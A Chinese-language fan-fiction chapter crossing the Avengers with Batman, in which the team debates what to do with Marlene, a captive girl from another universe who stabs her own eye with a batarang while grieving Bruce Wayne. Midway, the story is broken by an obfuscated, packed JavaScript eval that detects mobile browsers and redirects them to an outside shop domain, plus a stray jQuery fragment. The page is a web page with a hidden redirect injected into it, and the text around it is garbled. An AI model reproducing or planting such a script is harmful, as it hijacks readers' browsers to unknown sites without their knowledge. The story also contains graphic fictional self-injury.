一间宽敞明亮的房间，阳光透过巨大的落地窗洒在长形会议桌和周围的高科技设备上。
房间内摆放着先进的战术显示屏幕，以及各种供复仇者联盟成员使用的工具。
如果是像平常那样，托尼会用他的平板设备展示最新的任务情报，而联盟的其他成员会坐在桌边……
“看到没有！这个女孩——东西——随你怎么称呼，反正根本不可能是人类！”
就像现在这样子。
托尼食指怼在显示屏上，向室内的其他人说：“超乎寻常的恢复能力，让我想到一个讨人厌的家伙。还有贯穿身体、没有血或是任何细胞存在的一条洞。
你们难道听不懂英语吗？她简直像个，那个词是什么来着？‘伪人’！谁知道她自哪个星球来，又是来干什么的。”
“托尼，冷静。不用你说，仅凭昨晚那场战斗我们也能看出她的不同寻常。”
史蒂夫坐在桌子的另一端，双手握拳支在下巴。“然而，在看到她清醒过来之后的行为后，我还是认为她有交流的可能性。”
听到这句话，托尼翻了个白眼。他拍着手嘲讽道：“我们的老好人队长又来了。她先前确实是受到了九头蛇洗脑的影响，但这丝毫不影响她还是十分危险！”
“嘿……伙计们，”山姆犹豫地举起一只胳膊，像个在课堂上不确定是否要站起来，迎接教师和同学们的目光的学生。
“这里是山姆。我想说的是，还有人记得我刚刚因为修装备来晚了吗？所以能否好心告诉我，那个姑娘清醒后都干了什么？我还挺好奇的。”
“星期五！”托尼大声喊道。
“好的，先生。”
接着屏幕上便开始播放一段录像回放。
镜头晃动着，就好像持有它的人——机器不太稳当。鉴于这是机器人笨笨的视角，山姆并不太意外。
镜头来到一扇门前，一个机械臂出现在屏幕最上方。它打开拧动门把手，最顶端一个黑色的小东西若隐若现。
笨笨缓缓进入房间，目标明确地驶向椅子上被绑住的女孩。镜头转过一圈，山姆看到除他以外的复仇者们都站在离她一米开外的距离。
接着，镜头对准了女孩，而听到机械齿轮传动声音的女孩也转过头来，平静的眼睛看进镜头。
她原本毫无波澜的表情突然变得迷茫，但那迷茫只持续了几秒，随即便被异样的光芒所替代。
她的身体开始不由自主地颤抖，接着是强烈的挣扎。尽管蜘蛛丝的束缚几乎让她动弹不得，但她仍然竭尽全力地扭动身体。从山姆看来，她是在试图靠近屏幕。
有什么东西在笨笨的手臂顶端颤抖一下，从那里滑落下来。
就在那一瞬间，山姆辨认出那是一枚造型独特的镖状武器。它在灯光下反射出冷冽的光芒，显得格外引人注目。
所有人，至少是看过DC漫画的人都认得出来，那是蝙蝠镖。
而钴蓝色的眼睛仿佛也被“钉”在那只蝙蝠上似的，她的视线没移开分毫。
随着她的靠近，镜头晃动着对准她的脸。
旁观者因此能看到，当她终于来到那枚蝙蝠镖的附近时，在这片寂静中骤然睁大的眼睛。
屏幕上，细密的血丝如同蛛网般在两个眼球上蔓延开来。她的瞳孔在一瞬间扩张到极限，燃烧着近乎疯狂的执着，或者又该说绝望。
出乎意料地，她的嘴角勾出一抹怪异的微笑。
然后她消失在屏幕上。
笨笨缓慢地调整镜头，脑袋一顿一顿地向下挪去。
女孩再次出现在屏幕上。
先是黑色的头发，接着是红色的一滩血迹。
他们看到女孩的眼睛被钉在蝙蝠上，鲜血伴随着痛呼出现在他们的眼前和耳边。
她看起来很痛苦，但或许并不是因为伤口而痛苦。
现场直播回放播放完毕后，会议室中一时没人开口发出声音。
“我明白了。”张着嘴呆住几秒的山姆回神后说：“你们继续，这不是我能参与的争论。但我觉得她更需要一个称职的心理医生。”
托尼灌了一口桌上的一杯伏特加，反驳道；“是的，这个姑娘需要心理医生。然而，不。
现在最重要的事情是，分析她身上带着的能量数据，找到她原本的宇宙在哪，或许再找来随便哪个信得过的魔法师，然后把这个烂包袱哪来的扔回哪里去。”
金发的男人微微皱着眉毛，“托尼……”
“ah-eh！队长，我正打算问问其他人的意见呢！”托尼把伏特加放回桌子上，向着其他联盟成员抬了抬下巴。
“我对任何选择都没有意见，毕竟最后都得看神盾局的决定。”娜塔莎耸耸肩回答道，她身后的克林特同样如此。
山姆舔了舔嘴唇说：“我赞同队长的建议，无论如何。”
“……我觉得托尼说的对，队长。”
最后，班纳推了推鼻梁上的眼睛，双手握在一起摩擦着。
“她很特殊，看看九头蛇是如何利用她就知道了。如果那些人……我毫不怀疑神盾局会决定把她以相同或类似的方式利用她。”
“毕竟，她是个来自平行宇宙的存在，甚至不能被称为人类，”他缓缓地说道：“就算这种行为暴露出去，他们大可以保护民众为借口继续下去。
把她送回去，也是在帮助她，队长。”
“终于！”托尼笑着大叫一声，“另一个聪明人出现了，我对你的出现并不意外，尊敬的博士。”
他转过身和史蒂夫对视，快速地说：“我甚至好心地没计较她造成的那些损失，这难道不够善解人意吗？”
“可你不能把一名有意识的存在说成一袋垃圾，托尼。”史蒂夫温和但语带谴责地说，“还是在事件的罪魁祸首是九头蛇的情况下。”
“我有吗？”托尼不在意地挖了挖耳朵，语气冷漠，“没错，我是有。我就把话说开了吧，队长。”
“那个女孩，要是被那些疯狂的宗教人士发现了，恐怕不是被火烧就是被埋土里‘封印’。知道为什么吗？
因为她散播死亡——星期五在我的头盔被她毁掉后失去信号，她的子弹甚至能射穿浩克的皮肤！这个姑娘就像个病毒，被她感染上的人结局只有死路一条，而只有她自己安然无恙。
我们甚至无法理解她是怎么做到的，要我说，不理解是最好的。我他妈可不希望打开潘多拉魔盒，但其他人大概不会那么聪明。”
托尼最后伸出食指指向某处，在场的所有人都知道那是白宫的方向。
“托尼，你知道你说过，关住她的隔离室隔音效果不算好，对吧？”史蒂夫转头，向隔离室那里看去。
他们口中一直在谈论的那个女孩正坐在一张暂时搬来的单人床上。她手中紧握着黑色的蝙蝠镖，让它深深陷入手掌中，鲜血源源不断地从伤口中流出。
但她面无表情，似乎对疼痛一无所知。
“当事人不在乎，只有你在乎。”托尼转回头，“当然，你可是人见人爱的老好人美国队长，谁不认识你？”
“我并非对你的安排有不同意见，托尼，你不用说话那么夹枪弄棒。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425698|123227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
史蒂夫无奈地叹出一口气，一只手扶着额头说：“我的意思是，我们为何不现在问问她？这样不只能获得她的原生宇宙的情报，或许还可以帮助我们抓获逃走的那帮九头蛇。”
“至少现在她看起来可以交流。”他补充道。
隔离室里的女孩依旧手中握着被血染红的蝙蝠镖，抬起头用那张没有情绪的脸同他们对视。
几分钟前还被扎了个口子的眼睛完好无缺。
……她眼角的是泪水还是汗水？
托尼瞪着她，又转头瞪了眼史蒂夫。
“neh，只要你确保浩克不会突然出现然后把我的地盘砸得一团糟，我可不想看到小辣椒怒气冲冲地向我走来。”
他瘪了瘪嘴，将杯中的伏特加一饮而尽。
……
当她看见蝙蝠镖的第一秒，她想：那是蝙蝠侠的特制飞镖。
第二秒，她在想：我是谁？我在哪？我在干什么？
我是玛琳。我不知道。我被绑起来了。
【好香啊。】她迷茫地想着，【海鲜拼盘、辣椒、水果硬糖、寿司和披萨……等等。】
第三秒，一个疑问出现在她的脑海之中，将所有杂念都挤出脑壳。
【我的家人……迪克、布鲁斯，布鲁斯！布鲁斯在哪？】
她没有闻到他的味道，他不在这里，他在哪？
恐慌瞬间占据她的所有情感。玛琳挣扎地离开椅子，异常坚固的丝状物体无法挣断，于是她只能趴在地上拼命爬到蝙蝠镖旁边。
然而那里没有他的味道。
他在哪？
眼前闪过记忆中最后见到布鲁斯的场景，他胸前的黑色蝙蝠沾染上灰尘，在那个蝙蝠标志附近似乎出现了一只虫子。
那是什么？她想看得更仔细些，于是她睁大了眼睛，让通红的血丝布满眼珠。
那是个会发光的虫子，好像咬人很痛，飞得很快，所行之处会留下黑色的印记。
她看见它出现过的地方变成了边缘发黑的圆形痕迹，那在蝙蝠侠的黑色制服上也扎眼得很。
阿尔弗雷德会因为这个剽几眼布鲁斯的，就算布鲁斯还有几套备用制服。但制服的材料很昂贵也很特殊，卢修斯大概也不会给布鲁斯好脸色……
不，那不是虫子。
恐惧自心底伸出触手，缠绕在她的心头。
它贯穿了她的身体，它不是虫子，它杀死了她。它也贯穿了布鲁斯的身体，它不是虫子，它……
玛琳呼吸急促。
【布鲁斯……他……布鲁斯……】
玛琳感觉脑子里有人在尖叫，她不能继续再想下去了，那根本荒谬至极，甚至都让她笑了出来。但那个念头粘附在她身上，无论如何也甩不下去。
她不能让脑子继续动下去，所以把自己的头砸上蝙蝠镖。
可是那毫无用处。
那句荒谬的话语盘绕在她的脑海中，回荡在她的心里，她无法摆脱。针扎般的疼痛钻进心脏，接着是全身。尖叫堵在嗓子中无法释放。
玛琳感到有人把自己从地上扶起来，蝙蝠镖深深地插在自己的眼睛里。她用手将它拔了出来，紧紧握在手心里。
她因此找到了平静。
【那是不可能的，布鲁斯肯定还活着，蝙蝠侠肯定还活着。】
被他们搬到一个房间里时，她想。
【他肯定……他一定不会……他……】
“他必须还活着。”
玛琳喃喃道，想让自己露出一个轻松的笑容。
但只有眼角的泪水回应她。